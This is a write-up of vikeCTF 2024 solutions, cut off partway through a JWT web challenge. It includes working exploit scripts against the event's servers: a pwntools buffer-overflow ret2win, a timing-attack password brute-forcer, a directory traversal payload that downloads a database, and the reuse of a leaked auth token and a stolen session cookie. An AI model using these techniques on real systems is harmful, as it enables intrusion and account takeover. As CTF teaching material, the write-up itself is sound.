🪖vikeCTF 2024

Solutions for all but two problems.

Cloud

My Buddy Erik (35 solves)

Description:

My buddy Erik wants to play Minecraft so I set up a server for us to play on. I've committed my configuration to GitHub because it's so convenient! Can you make sure that everything is secure?

https://github.com/VikeSec/vikeCTF-2024-minecraft-server

Solution:

We see a reverted commit when looking at the history of the repo.

Removing data from Github is surprisingly difficult (see https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository). We can recover the data using github-secrets.

python github_scanner.py VikeSec/vikeCTF-2024-minecraft-server                                              2 ⨯

Found these dangling commits, which were in the eventlog and are not in the history anymore:
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/7848986100022bda192193080a0ca28b99f03a26
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/7df8e2b9c6397b7e01e090be86dfb79b37e0d2f9
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/0fae838eaeceab86a257dc5217925c2eadae77a0
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/551a06d75f125b246a838b48dbe6a768f36b8708
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/0e75235ac87b1fad5cbf4ba75adc963d67ae1cc9
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/4d9eca4780cd2fb41caa63c471f8352515adeb42
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/2bea5b90298ad8b0cef39990d2a772bbb1b64c5f

Click the first link to see the flag.

Silly Software (28 solves)

Description:

We're Silly Software, and we like bringing the Fun back into devops! We've decided that we're going to start distributing our software as Docker images, because that seems like the most fun! I hope nothing goes wrong :)

docker run public.ecr.aws/d8p5p1v7/vikectf2024/silly-software:latest

Solution:

First get the container source by running the following commands:

docker pull public.ecr.aws/d8p5p1v7/vikectf2024/silly-software:latest
docker save public.ecr.aws/d8p5p1v7/vikectf2024/silly-software --output files.tar

In files.tar, there is a set of layer tarballs. Grep for vikectf to see which have the silly-software plugin and there are two. In the one starting with ab24, there is a hidden file called .npmrc with the following auth token.

//npm.fury.io/vikectf2024/:_authToken=1eQ1zm-z4DK23Kwc2Lwmb8guqepX3fQKc

We can now download the-flag-101.tar.gz that we see downloaded and deleted in the initial docker build.

import requests

package_url = 'https://npm.fury.io/vikectf2024/~/up/ver_26bVeh/the-flag-1.0.1.tgz'
auth_token = '1eQ1zm-z4DK23Kwc2Lwmb8guqepX3fQKc'

# Set up the headers for authentication
headers = {
    'Authorization': f'Bearer {auth_token}'
}

# Make the request to download the package
response = requests.get(package_url, headers=headers)

# Check if the request was successful
if response.status_code == 200:
    # Save the content to a file
    filename = 'the-flag-1.0.1.tgz'
    with open(filename, 'wb') as file:
        file.write(response.content)
    print(f'Successfully downloaded {filename}')
else:
    print(f'Failed to download the package. Status code: {response.status_code}')

After extracting the tar, we get the flag.

export const flag = "vikeCTF{p33L_1t_L1k3_4N_0n1oN}"

Cryptography

Norse Cryptogram (170 solves)

Description:

Delve into the realm of Norse mythology and unlock the secrets of the runic script in this cryptic challenge. Armed with your wits and keen eye, decrypt the ancient messages hidden within the runes. Will you prove yourself worthy of Odin's wisdom or fall prey to the tricks of Loki? Prepare to embark on a journey through Viking lore as you unravel the Runebound Riddles!

Solution:

This is just a cyberchef skillcheck. Next to the "Output" title, there is a wand that shows up to make suggestions and provides many of these.

Deep Cover (145 solves)

Description:

As the Viking ship sailed across the vast North Sea, its crew encountered unexpected turbulence in the form of a message. Amidst the rugged expanse of the waters, a messenger bird descended, bearing a weather report inscribed in Cyrillic script. With furrowed brows, the Norsemen deciphered the ominous tidings, seeking the hidden meaning within.

Solution:

Quipqiup for autosolving mono-alphabetic substitution ciphers.

Quantum Keygen Quest (16 solves)

Description:

Gather 'round, ye stout-hearted souls, for within these sacred gates lie the keys to unlock the mysteries of the cosmos. Let not the symbols deceive thee, for they hold the power to unravel the very fabric of reality itself.

With nimble fingers and minds sharp as Mjölnir's edge, apply the ancient enchantments to thy ciphered scrolls. Dance with the shadows of uncertainty, for it is within the darkness that the true light of knowledge shall be revealed.

As the stars guide our course through the endless expanse, let us embark on this odyssey with courage in our hearts and the spirit of adventure blazing in our souls. For today, we embark on a voyage beyond the realms of mortal comprehension. Today, we harness the power of the quantum seas and emerge victorious, as legends of old. Skál!

Solution:

Here is the challenge.

Astrid conjured this pattern: 01100010111001000111100110110101011100011110101000001111010000110010001110011001010001001001011011001010100010110001110010111110110111000110000110101111001100000111011100101001110101010001000111101010011110101100000100000001110100111110100111111000101100000010001010000111010010100110001001011001110011011101010101000100100010010000111100111010101010011000100111011110101001011011010011010100100011111110011100110010111010001111101000011010001100100110010011100110000110001101110100001110110100111010000010000001111000111111011111010011111000100111000110000101100010101001010010000000010110101110000011000111101010111101100111000100111100100001111110011110011111111010000010010010001001010011011111000010101110110100111001000100100011000111110101110110111010111101010000100110110001110010101101001001011001011010101110001001011001010100100011011111011101000001100000000100000101010100101110101100111000100010001101010111001101010001010000001110101100100010001101100101010001001100101000010011100111111011100111101010011011010110011000111010101010000000000111100111000111011101111001101010
Astrid enacted these enchantments: HXHXXXHXXXXXXHHXHHXXHHXXXHHHXHHHHXHXXXHXXXHXXXHHXHXHXXHXHHXXXXXXXXHXXXHXXXHXXXHHHXHHHXXXHHXXHHXXXHXXHHXXHXHHXXHXXXHHXHHXXHHHHXHHXHXXXHHHHHXXHXHXHXHXHXXXXXHXXXXXXHHHXXXXXXHXHHXHXHXXHHHXXXHHHXHXHHHXHHXHHHHHHXHXXHHXHHHXHHXHHXHHXXXXHHXHHXHHHHXXXXXXXXXHHHXXXXHXHXXXHHHHXHXHHXHHXHHXXHXHHHHHXXHHHHXHXXXXHXXHHXHHHXXHXHXXHXHHXHHXHHXHXXXHXHXHXHXHXXHXXHHXHHXHXXXHXHXHHHXHXHXHXXHHHHHHXXHHHXXHXHHHHXXHHHXHHXXHXHHXHHXXXXXHHHXXHHHXHHXXHXXHHXXXHXHXHXXXHXXHXXXHHXXXHHHHXXXHHHHHHHXHXXXHHHXHHHHXHXHHHXHXHHHHXHHHXHXHXXXXHXHHHXHHHXHXHHXHXXHXXXXHHHXHHHXHHHHHHHXXXHHHHXXHHHHHXXXHHXHXHHHXHXHXHXHHXXXXHXXXHHHHXHHHXXXXXHHXHHHXHHHXHXXHXHXXXHXHHHXHXHXXHHHXXXHXHXHXHHHXHXXHHHHXXXXXHHHHXXXXHHHHXHHXHXXXHXHHXHXXXXXXXHXXXXXXHXXXHHXXXHHHHXHXXXHXXHHHXXHXXXHXXHHHHXHHXHHHHXXHHHHXXXXHXHHHXXXXXHHHHXXHXHHHXHHXXHXXXHHHXHXHHXHHHXXXHXHXHHXHHXXXXHHXHXXXHHXXXXXHHHXHXXHXHXHHXXHHXXXXXXXHHXXXHHHXXXXHXHHXHXXHHHHXXHXXXXHXXXHXXXXHXXXHHHHXHXHHHHHHHXXXXHHHXXHHHHHHHHXXXXXXXXHXXHHXXHHHHXXHHXXHXHXHHHXHXHXXXXXXHXHHHXXHHHHHHXXHHXXXXXXHXHXXHXHHHHHHXXHXXHXHXXHHHXXHXHHHXHXXHHHXXHXHHHHHXHHHXHHHXHXHXHXXXXHXHXXHHHXXHXXXXHXXHXXHXXXHXHHHHHXHXXHH
Bjorn wielded his own set of enchantments: XHXHHXXHXHXHHXXHXXHXXHHHXXXHXXHHXHXXXHXHHHXHXXXXHXHXHHXHXXHHHXXHHHXHHXXHHHXHXHXHXHHXXXHHXHHHXXHHHXHHXXHHXHXXHHHXHXXHHXXHXHXXXHXHHXHXHXXXHHHHXHHXXXXXXHHHHXXHHHHHXHHXHHHHHXHXHXXXHXHXXXXHXXXXHHXHHXXXXHHHXHXHXHXHHXXHHXXHXXHXHHXXXHHHXXXXHHXXXXHHHHHXHXHXXXXXHHXHXHHHXHXXXXHXXHXXXHXHHHHXHXXXXHHXXXXXXHHHXHHXXHXXXHXHXXHHXXHXHHXHXXXXHHXXHXHXXXHHXHXXHHXHXHHHXHHXHHHXXHHHXXHXXHXXXXXXHHXXXXHXXXHXXXHHHXHXHHHXHXXXXXXXHHXXXHHXXXXXHXHHXHXXXHHHXHHHHHHHHXHXHXXXXHHHXXHXXHHXXXHHXXXHHHHXHXHXHXXHXHXXXHXHHHXXXXHXHXHXXXHHHHHHXHXXXHXHHHHHXHXHHHHXXHHXXXHHHHXXXXHXHHXXHHXXXHHHXHXXXXXHXHXHXHXHHHHHXHHXXXHHXXXXXXXXHXHHHXHHXXXXHXHHXHHHHHHHXXHXXXXXHHHHXXXHHHXHXXHHXXXHHHHXXHHHHHHXXXXHXHXHHXXXHXXXXXHHXXXHHHXHHXHHHXXXHHHHXXHHXHHHHHXHXXHHHHHHHXHXXHXHHXXHXXHXHHXHHXXXXHHXHXXHHHHXHHHXXHHHHXXXXHHHHXXHHXXXHHHHHHHXXXHXXHXXXXXHHHHHHXHXXXHXHXXHHXHHXXXHHHXXXXHHHHXXXHXXHXXXHHHHHXHXXHXHXXXXHXHHHXXHHHXXXHXXHXHHXHXHHXXHHXXXHHHXXXXHXHXHHHXHXHHXHXXHXXXXHHXXXHHHHHHHXHHHHXXHHXXXHHHXXHHHHXHXXHHHHXXHHHHHXHHXXHXXXXXHXHHHXXHHHHHXXXHHXHXXHXXXHHHHXXHHHHXXXHXXHXXXHXHHXXHHHHHXXXXXHXXXHXXXHXHXHXHHHHXHXHHXXXHHXHHHHXHHXHHXHHHXHXXXXXHXHHXX

What, then, is the secret they now share, bound by the threads of fate and the mysteries of the cosmos?

After some research into quantum keys (referencing title), we see this Wikipedia page.

Basically, the shared secret key is whenever Alice and Bob match, the bit is used in the original pattern. The H and X also look like the + and x so we know we're on the right track. Here is the solve script.

def filter_pattern_based_on_enchantments(pattern, enchantment1, enchantment2):
    filtered_result = ""
    for i in range(len(pattern)):
        if i < len(enchantment1) and i < len(enchantment2):
            if enchantment1[i] == enchantment2[i]:  # Check if the enchantments agree at position i
                filtered_result += pattern[i]  # Append the bit from the pattern if the enchantments agree
    return filtered_result

astrid_pattern = "01100010111001000111100110110101011100011110101000001111010000110010001110011001010001001001011011001010100010110001110010111110110111000110000110101111001100000111011100101001110101010001000111101010011110101100000100000001110100111110100111111000101100000010001010000111010010100110001001011001110011011101010101000100100010010000111100111010101010011000100111011110101001011011010011010100100011111110011100110010111010001111101000011010001100100110010011100110000110001101110100001110110100111010000010000001111000111111011111010011111000100111000110000101100010101001010010000000010110101110000011000111101010111101100111000100111100100001111110011110011111111010000010010010001001010011011111000010101110110100111001000100100011000111110101110110111010111101010000100110110001110010101101001001011001011010101110001001011001010100100011011111011101000001100000000100000101010100101110101100111000100010001101010111001101010001010000001110101100100010001101100101010001001100101000010011100111111011100111101010011011010110011000111010101010000000000111100111000111011101111001101010"
astrid_enchantments = "HXHXXXHXXXXXXHHXHHXXHHXXXHHHXHHHHXHXXXHXXXHXXXHHXHXHXXHXHHXXXXXXXXHXXXHXXXHXXXHHHXHHHXXXHHXXHHXXXHXXHHXXHXHHXXHXXXHHXHHXXHHHHXHHXHXXXHHHHHXXHXHXHXHXHXXXXXHXXXXXXHHHXXXXXXHXHHXHXHXXHHHXXXHHHXHXHHHXHHXHHHHHHXHXXHHXHHHXHHXHHXHHXXXXHHXHHXHHHHXXXXXXXXXHHHXXXXHXHXXXHHHHXHXHHXHHXHHXXHXHHHHHXXHHHHXHXXXXHXXHHXHHHXXHXHXXHXHHXHHXHHXHXXXHXHXHXHXHXXHXXHHXHHXHXXXHXHXHHHXHXHXHXXHHHHHHXXHHHXXHXHHHHXXHHHXHHXXHXHHXHHXXXXXHHHXXHHHXHHXXHXXHHXXXHXHXHXXXHXXHXXXHHXXXHHHHXXXHHHHHHHXHXXXHHHXHHHHXHXHHHXHXHHHHXHHHXHXHXXXXHXHHHXHHHXHXHHXHXXHXXXXHHHXHHHXHHHHHHHXXXHHHHXXHHHHHXXXHHXHXHHHXHXHXHXHHXXXXHXXXHHHHXHHHXXXXXHHXHHHXHHHXHXXHXHXXXHXHHHXHXHXXHHHXXXHXHXHXHHHXHXXHHHHXXXXXHHHHXXXXHHHHXHHXHXXXHXHHXHXXXXXXXHXXXXXXHXXXHHXXXHHHHXHXXXHXXHHHXXHXXXHXXHHHHXHHXHHHHXXHHHHXXXXHXHHHXXXXXHHHHXXHXHHHXHHXXHXXXHHHXHXHHXHHHXXXHXHXHHXHHXXXXHHXHXXXHHXXXXXHHHXHXXHXHXHHXXHHXXXXXXXHHXXXHHHXXXXHXHHXHXXHHHHXXHXXXXHXXXHXXXXHXXXHHHHXHXHHHHHHHXXXXHHHXXHHHHHHHHXXXXXXXXHXXHHXXHHHHXXHHXXHXHXHHHXHXHXXXXXXHXHHHXXHHHHHHXXHHXXXXXXHXHXXHXHHHHHHXXHXXHXHXXHHHXXHXHHHXHXXHHHXXHXHHHHHXHHHXHHHXHXHXHXXXXHXHXXHHHXXHXXXXHXXHXXHXXXHXHHHHHXHXXHH"
bjorn_enchantments = "XHXHHXXHXHXHHXXHXXHXXHHHXXXHXXHHXHXXXHXHHHXHXXXXHXHXHHXHXXHHHXXHHHXHHXXHHHXHXHXHXHHXXXHHXHHHXXHHHXHHXXHHXHXXHHHXHXXHHXXHXHXXXHXHHXHXHXXXHHHHXHHXXXXXXHHHHXXHHHHHXHHXHHHHHXHXHXXXHXHXXXXHXXXXHHXHHXXXXHHHXHXHXHXHHXXHHXXHXXHXHHXXXHHHXXXXHHXXXXHHHHHXHXHXXXXXHHXHXHHHXHXXXXHXXHXXXHXHHHHXHXXXXHHXXXXXXHHHXHHXXHXXXHXHXXHHXXHXHHXHXXXXHHXXHXHXXXHHXHXXHHXHXHHHXHHXHHHXXHHHXXHXXHXXXXXXHHXXXXHXXXHXXXHHHXHXHHHXHXXXXXXXHHXXXHHXXXXXHXHHXHXXXHHHXHHHHHHHHXHXHXXXXHHHXXHXXHHXXXHHXXXHHHHXHXHXHXXHXHXXXHXHHHXXXXHXHXHXXXHHHHHHXHXXXHXHHHHHXHXHHHHXXHHXXXHHHHXXXXHXHHXXHHXXXHHHXHXXXXXHXHXHXHXHHHHHXHHXXXHHXXXXXXXXHXHHHXHHXXXXHXHHXHHHHHHHXXHXXXXXHHHHXXXHHHXHXXHHXXXHHHHXXHHHHHHXXXXHXHXHHXXXHXXXXXHHXXXHHHXHHXHHHXXXHHHHXXHHXHHHHHXHXXHHHHHHHXHXXHXHHXXHXXHXHHXHHXXXXHHXHXXHHHHXHHHXXHHHHXXXXHHHHXXHHXXXHHHHHHHXXXHXXHXXXXXHHHHHHXHXXXHXHXXHHXHHXXXHHHXXXXHHHHXXXHXXHXXXHHHHHXHXXHXHXXXXHXHHHXXHHHXXXHXXHXHHXHXHHXXHHXXXHHHXXXXHXHXHHHXHXHHXHXXHXXXXHHXXXHHHHHHHXHHHHXXHHXXXHHHXXHHHHXHXXHHHHXXHHHHHXHHXXHXXXXXHXHHHXXHHHHHXXXHHXHXXHXXXHHHHXXHHHHXXXHXXHXXXHXHHXXHHHHHXXXXXHXXXHXXXHXHXHXHHHHXHXHHXXXHHXHHHHXHHXHHXHHHXHXXXXXHXHHXX"

resulting_output = filter_pattern_based_on_enchantments(astrid_pattern, astrid_enchantments, bjorn_enchantments)

print(resulting_output)

# 01110110011010010110101101100101010000110101010001000110011110110101000101010101001101000100111000110111010101010100110101011111010000110011000001001101010100000101010100110111001100010100111000110110010111110011000100110101010111110100001100110000001100000011000101111101
# Cyberchef binary decode: vikeCTF{QU4N7UM_C0MPU71N6_15_C001}

Misc

The Usual (45 solves)

Description:

In the heart of a bustling medieval market, a burly Viking with a formidable beard and weathered armor stumbles upon a peculiar sight—a vibrant flag shop adorned with banners of every hue. Intrigued by the fluttering colors, he enters the shop, his towering frame contrasting with the delicate textiles. With a mix of curiosity and confusion, he marvels at the array of flags, pondering which one might best represent his warrior clan amidst the sea of symbols and sigils.

Connect to 35.94.129.106:3008 to find the flag

nc 35.94.129.106 3008

Solution:

Running the binary we see a shop where we have $100 and the other options cost more than what we have. Looking at the decompiled binary in ghidra (or dogbolt.org), even if we could try buying the flag, we see it won't actually call the flag function so we need to treat this as a pwn and do a ret2win.

└─$ ./the-usual   
Welcome to the flag shop!

Please make a selection:
1: A life-altering flag-themed quote, $10
2: A hand-typed, bespoke, artist's rendition of the flag, $45
3: An organic, custom-engraved flag stand, $130
4: The flag, $20,000
5: Exit

Your balance is $100
What would you like to buy? (1-5) 3
How many would you like? 2147483648
What would you like your flag stand to say? test
Great! Your organic, custom-engraved flag stand will be delivered within three to six business weeks

The decompiled output shows the data type in the check function uses int32 as the datatype so this number corresponds to -1 and lets us call the flag stand function which has a buffer overflow vulnerability. This is a pretty standard pwn challenge with most protections disabled so I'll just post the solution script and move on.

from pwn import *

# Remote target details
remote_ip = '35.94.129.106'
remote_port = 3008

# Address of print_flag function (objdump -t ./the-usual)
print_flag_addr = 0x0000000000401557

# Buffer size is 32 in decompiled code, generally +8 or use cyclic
offset = 40

# Set up the remote connection
p = remote(remote_ip, remote_port)

# Set the context for the binary
context.binary = elf = ELF('./the-usual', checksec=False)

# Craft the payload
payload = b'A' * offset  # Fill the buffer up to the return address
payload += p64(print_flag_addr)  # Overwrite the return address with print_flag

# Interact with the binary to reach the vulnerable point
p.sendlineafter('What would you like to buy? (1-5)', '3')  # Select option 3
p.sendlineafter('How many would you like?', '2147483648')  # Input to reach the vulnerable point

# Send the payload
p.sendlineafter('What would you like your flag stand to say? ', payload)

# Switch to interactive mode to see the output
p.interactive()

# [*] Switching to interactive mode
# Great! Your organic, custom-engraved flag stand will be delivered within three to six business weeks
# vikeCTF{B!n@ry_Xp10!7@7!0N_X64}

Hidden Valor (90 solves)

Description:

Decode the secrets of our Viking legacy hidden within the depths of our emblem. Unveil the hidden message to reveal the path to glory!

Solution:

Stegseek then same thing as Norse Cryptogram.

└─$ stegseek vikeCTF-logo.jpeg                   
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""0.0 MB)           

[i] Original filename: "haxor-cat.jpeg".
[i] Extracting to "vikeCTF-logo.jpeg.out".

└─$ stegseek vikeCTF-logo.jpeg.out 
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "" MB)           

[i] Original filename: "pencil.jpeg".
[i] Extracting to "vikeCTF-logo.jpeg.out.out".
                                                                                                                     
└─$ stegseek vikeCTF-logo.jpeg.out.out 
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""
[i] Original filename: "payload".
[i] Extracting to "vikeCTF-logo.jpeg.out.out.out".

# Payload has a base64 string, to cyberchef

Hidden Treasure (20 solves)

Description:

As the dense fog shrouded the rocky coastline, a group of fearless Vikings set sail in their sturdy longship, their eyes gleaming with anticipation. Guided by ancient maps and whispered legends, they embarked on a perilous quest in search of a fabled treasure hidden deep within uncharted lands. With the wind at their backs and the crashing waves echoing their determined hearts, they ventured forth into the unknown, ready to conquer any obstacle that stood in their way in pursuit of untold riches and glory.

We received an image of the target's computer, and we have reason to believe they know the credentials to the website.

Download the image from here and find out how to access the flag: https://pub-2145e7fa138e484eb3462e0474545de9.r2.dev/vikectf2024%2Fvikebox.img.gz

http://35.94.129.106:3005

Solution:

The attachment unpacks to a 15GB img file. Here is my preferred method of mounting.

└─$ fdisk -l ./vikectf2024_vikebox.img                                                                         130 ⨯
Disk ./vikectf2024_vikebox.img: 15 GiB, 16106127360 bytes, 31457280 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 1B23F900-9049-4FA9-A7AC-B8A548AB08A3

Device                       Start      End  Sectors  Size Type
./vikectf2024_vikebox.img1    2048     4095     2048    1M BIOS boot
./vikectf2024_vikebox.img2    4096  1054719  1050624  513M EFI System
./vikectf2024_vikebox.img3 1054720 31455231 30400512 14.5G Linux filesystem

>>> 1054720*512
540016640

sudo mount -o loop,offset=540016640 ./vikectf2024_vikebox.img ./mnt

After mounting, we see a Linux filesystem and pretty quickly find the target (35.94.129.106:3005) was visited, firefox even saved a screenshot of the login page. The logins.json isn't there so firefox didn't save the password, but the cookie is there in cookies.sqlite. We can get the cookie and then access the site with it.

┌──(kali㉿kali)-[~/…/common/.mozilla/firefox/gafhcvjb.default]
└─$ sqlite3 cookies.sqlite               
SQLite version 3.44.0 2023-11-01 11:23:50
Enter ".help" for usage hints.
sqlite> .tables
moz_cookies
sqlite> SELECT name, value, host, path, expiry, isSecure, isHttpOnly FROM moz_cookies WHERE host LIKE '%35.94.129.106%';
session|6090a4914358dc1fce139aa4e11df13009c2eda2b75d35d537706d7313237389|35.94.129.106|/|1709885275|0|0
import requests

url = 'http://35.94.129.106:3005/'
cookies = {
    'session': '6090a4914358dc1fce139aa4e11df13009c2eda2b75d35d537706d7313237389',
}

# Making a GET request to the URL with the cookie
response = requests.get(url, cookies=cookies)
print(response.text)

#################################################### 
# Output
####################################################

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>WINNER WINNER CHICKEN DINNER</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@1/css/pico.min.css">
</head>

<body>
    <main class="container">
        <h1>vikeCTF{sh0rtbr3@d_c1nn@m0n_br0w53r}</h1>
    </main>
</body>

</html>

Time to Attack (19 solves)

Description:

Under the cloak of night, a band of Vikings lies in wait amidst the dense foliage bordering a serene village. They huddle in the shadows, their breaths mingling with the chilled air as they keenly observe the settlement's defenses. Torches flicker, casting eerie shadows across the wooden palisades, while the rhythmic beat of guards' footsteps reverberates in the distance. Patiently, the Vikings bide their time, awaiting the opportune moment to unleash their ferocious onslaught upon the unsuspecting village, their anticipation sharpening with each passing heartbeat.

Connect to 35.94.129.106:3006 and enter the password

nc 35.94.129.106 3006

Solution:

The first test I did was a brute force for length but saw it took about the same time for lengths of 1-100. I then tried the same character repeated many times and saw a 0.5 delay when "d" was the first letter. Basically every time a correct letter is received by the password checker, there is a 0.5 delay. Here is the solve script.

import socket
import time

TARGET_IP = "35.94.129.106"
TARGET_PORT = 3006

def test_password(password):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((TARGET_IP, TARGET_PORT))

        # Wait for the login prompt
        recv_data = sock.recv(1024)

        start_time = time.time()
        sock.sendall(password.encode() + b'\n')
        recv_data = sock.recv(1024)
        end_time = time.time()

        sock.close()

        return end_time - start_time

# Initialize variables
initial_char = 'dxse'  # These were the characters already found in previous iterations
correct_password = initial_char
found = False

baseline_time = 2 # This is 0.5 times the number of characters init with
threshold = 0.5  # Time delay indicating a correct character

while not found:
    for char_code in range(32, 127):  # Iterate through ASCII printable characters
        char = chr(char_code)
        # Append the current character to the last correct password guess
        test_pass = correct_password + char
        duration = test_password(test_pass)
        print(f"Testing Password: {test_pass}, Time: {duration:.4f} seconds")

        if duration - baseline_time > threshold:
            print(f"Found character: {char}")
            correct_password += char  # Add the found character to the password
            baseline_time += 0.5  # Update baseline to new longer duration
            break  # Move on to the next character

        if char_code == 126:  # If loop completes without finding a longer duration
            found = True  # End loop if no character causes a delay, assuming password is complete

print(f"Correct password: {correct_password}")

# Took forever to run since eventually it slept for 5+ seconds per letters
# Was a mix of lower case letters and numbers, entering the pass manually gives the flag

Robo Erik (18 solves)

Description:

Uh oh! It looks like there's a robot viking in our midst, what power does it have?

You'll have to join the vikeCTF Discord for this challenge, I trust that you can find the link :)

RoboErik#9494

Solution:

This is a discord bot that can print out messages from a channel if it has access to it. There are multiple plugins that allow you to see hidden discord channels, so choose one to see the following (didn't spend much time looking into it but some may violate ToS, proceed with caution) :

Only robo-37 had RoboErik allowed to see. After finding that, we can just ask RoboErik to print out the contents of that channel (right click it to copy the channel ID). RoboErik checks to make sure you have an Organizer role so create an empty discord server, add it to yourself, invite RoboErik to it, then pass it the channel ID.

Reverse

Program with Jokes (157 solves)

Description:

Unravel the enigma behind this funny program and showcase your tactical prowess like never before.

Solution:

Seems like LOLCODE code, just threw it at GPT-4, might be possible instead to execute or something.

HAI 1.2 BTW LOLCODE

I HAS A FLAG_START ITZ "vikeCTF{3S073riC_"
I HAS A FLAG_KEY ITZ "xxxxxxxxxx"
I HAS A FLAG_END ITZ "}"
I HAS A KEY ITZ A YARN 
I HAS A HALO_LOL_CATZZ ITZ A BUKKIT, HALO_LOL_CATZZ HAS A CHEEZBURGER ITZ "L", HALO_LOL_CATZZ HAS A KITTEH ITZ 5, HALO_LOL_CATZZ HAS A NOM ITZ 1, HALO_LOL_CATZZ HAS A MEW ITZ "G", HALO_LOL_CATZZ HAS A HOOMAN ITZ "G", HALO_LOL_CATZZ HAS A PURRITO ITZ 7, HALO_LOL_CATZZ HAS A MEOWZART ITZ "C", HALO_LOL_CATZZ HAS A CATTITUDE ITZ "_", HALO_LOL_CATZZ HAS A PAWTY ITZ 0, HALO_LOL_CATZZ HAS A MEOWTAIN ITZ 4

VISIBLE "2 ENTR TEH HOLY LAND OV LOLCATS"
VISIBLE "U MUST KNOE TEH KEY!"
VISIBLE ""
VISIBLE "WUT IZ TEH KEY?" 
GIMMEH KEY, VISIBLE "DO U LIEK LOLCATS??", GIMMEH FLAG_KEY, VISIBLE ""

DIFFRINT FLAG_KEY AN "YE", O RLY? 
    YA RLY
        VISIBLE "U R MONSTR!"
    NO WAI BTW YES WAI
        BOTH SAEM KEY AN SMOOSH HALO_LOL_CATZZ'Z CHEEZBURGER HALO_LOL_CATZZ'Z PAWTY HALO_LOL_CATZZ'Z NOM HALO_LOL_CATZZ'Z MEOWZART HALO_LOL_CATZZ'Z MEOWTAIN HALO_LOL_CATZZ'Z PURRITO HALO_LOL_CATZZ'Z KITTEH HALO_LOL_CATZZ'Z CATTITUDE HALO_LOL_CATZZ'Z MEW HALO_LOL_CATZZ'Z HOOMAN MKAY, O RLY?
            YA RLY 
                VISIBLE "CONGRATULASHUNS!! U KNOE TEH KEY!"            
                VISIBLE SMOOSH "KEY IS " FLAG_START KEY FLAG_END MKAY
            NO WAI
                VISIBLE "TEH KEY IZ WRONG" 
        OIC
    OIC
KTHXBYE

BTW Flag: vikeCTF{3S073riC_L01C475_GG}

Blackjack (14 solves)

Description:

As I stepped into the bustling casino, the air was thick with anticipation. My eyes scanned the room until they landed on the blackjack table. Sitting across from me was the dealer, their movements precise and mechanical. With each shuffle and deal, there was something eerily robotic about them, sending a chill down my spine. Yet, I couldn't resist the allure of the cards spread out before me, beckoning me to take a chance.

nc 35.94.129.106 3002

Solution:

No code needed for this one. Looking at the decompiled binary we're given, we can see that we have to reach a balance of 100000000 and the randomness is seeded by the current time. Therefore, as long as our system clock is the same as the server's system clock, we can execute the program locally and have the same program state. Luckily, after a ntpd -q, the system time was the same so after running locally and on netcat, we can predict what the cards will be. For brevity, entering 1s on our local system will bet $1 and stand (and we can also do e.g. 1s 1s 1s to go through three rounds). Whenever we'll win, we bet our entire balance. If we lose, we still bet $1 and stand so the card states are correct. We have 50 rounds to go from $100 to $100000000 so we just need to double roughly 20 times.

Once we have enough money, we have to just finish out the remaining rounds so just enter a bunch of 1s. Here's how it looks like.

└─$ nc 35.94.129.106 3002
welcome to blackjack!
to play, place a bet, and then hit [h] or stand [s]!
if you win big, we might have a special surprise for you...

balance: 100
place your bet: 100
you: 1h 3c (4)
house: X 5s
[h]it or [s]tand?
s
Js 5s 9s (24)
win
your hand: 1h 3c (4)
house hand: Js 5s 9s (24)

balance: 200
place your bet: 

.............................

balance: 100969152
place your bet: you: 1s Kc (11)
house: X 6s
[h]it or [s]tand?
2c 6s 2d (10)
2c 6s 2d 7h (17)
lose
your hand: 1s Kc (11)
house hand: 2c 6s 2d 7h (17)
you won! congrats!
i think you dropped this: vikeCTF{h4v3_y0u_b33n_C0un71NG_c4Rd5}

Web

vikeMerch (48 solves)

Description:

Welcome to vikeMERCH, your one stop shop for Viking-themed merchandise! We're still working on our website, but don't let that stop you from browsing our high-quality items. We just know you'll love the Viking sweater vest.

http://35.94.129.106:3001

Solution:

The goal is to log in as admin, but we don't have a login and the password is securely generated looking at the source code. Since the input fields are safe from any kind of SQL injection and there are no cookies to play around with, the only option remaining is to try to grab the database directly.

We know the filename of the database is db.sqlite3 from seed.sh and main.go, and we know it will be one up from the assets folder that images are served from, so attempting a directory traversal attack, we are actually able to download the db.

35.94.129.106:3001/assets?id=../db.sqlite3

I was a bit lazy and just cat the database to get the username and password. After logging in, we get the flag.

└─$ cat db.sqlite3
����x�#tablelistinglistingCREATE TABLE listing (
    id TEXT,
    title TEXT,
    description TEXT,
    priceCents INTEGER,
    image TEXT,
    PRIMARY KEY (id)
)-Andexsqlite_autoindex_listing_1listinO�tableuseruserCREATE TABLE user (
    username TEXT,
    password TEXT
admina36dc27c2955d4d4ec31f351c49fc7ac63b7e98908077bd1a7f0cfce1875c03d
zh�&

# Username: admin
# Password: a36dc27c2955d4d4ec31f351c49fc7ac63b7e98908077bd1a7f0cfce1875c03d

# After login:
vikeCTF{whY_w0ulD_g0_d0_th15}

Ponies (274 solves)

Description:

OH NO, where did all these ponies come from??? Quick, get the flag and sail away before we are overrun!

http://35.94.129.106:3009

Solution:

On the page's source code, we see a reference to gag.js. Looking at that file, we see the flag.

document.getElementById("flag").innerHTML = "vikeCTF{ponies_for_life}";

Jarls Weakened Trust (40 solves)

Description:

Jarl's been bragging about becoming an admin on the new axe sharing network. Can you?

http://35.94.129.106:3004

Solution:

All we see is a login page, and no matter what we enter as username and password, we just get the following page.

The only thing to go off of is an AUTHORIZATION cookie, that decodes in jwt.io to the following.

